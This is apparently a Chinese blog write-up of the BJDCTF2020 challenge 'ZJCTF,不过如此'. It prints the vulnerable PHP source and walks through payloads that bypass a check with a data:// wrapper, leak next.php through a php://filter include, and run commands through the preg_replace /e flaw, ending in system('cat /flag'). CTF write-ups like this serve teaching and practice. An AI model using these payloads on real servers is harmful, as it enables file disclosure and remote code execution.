MENU

[BJDCTF2020]ZJCTF,不过如此

October 8, 2020 • Read: 598 • CTF

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

通过$text绕过第一次匹配:

?text=data://text/plain,I have a dream

因为flag被过滤了,给出提示next.php,通过include泄露next.php的源码

file=php://filter/convert.base64-encode/resource=next.php

next.php

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

这里主要通过foreach传参给complex函数,这里preg_replace /e 会有漏洞,匹配成功后会进行解析然后替换。具体可以看这篇文章

?\S*=${phpinfo()}

QQ截图20201008124504.jpg

因为是在双引号中解析函数,所以用到 ${函数}或者{${函数}}

QQ截图20201008124941.jpg

发现引号会被转义,这里我用的chr拼接system的参数
payload:

?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}

获得flag

后来看了看网上的wp,才注意到源码中的getFlag函数没用上,这才恍然大悟

?\S*=${getFlag()}&cmd=system('cat /flag');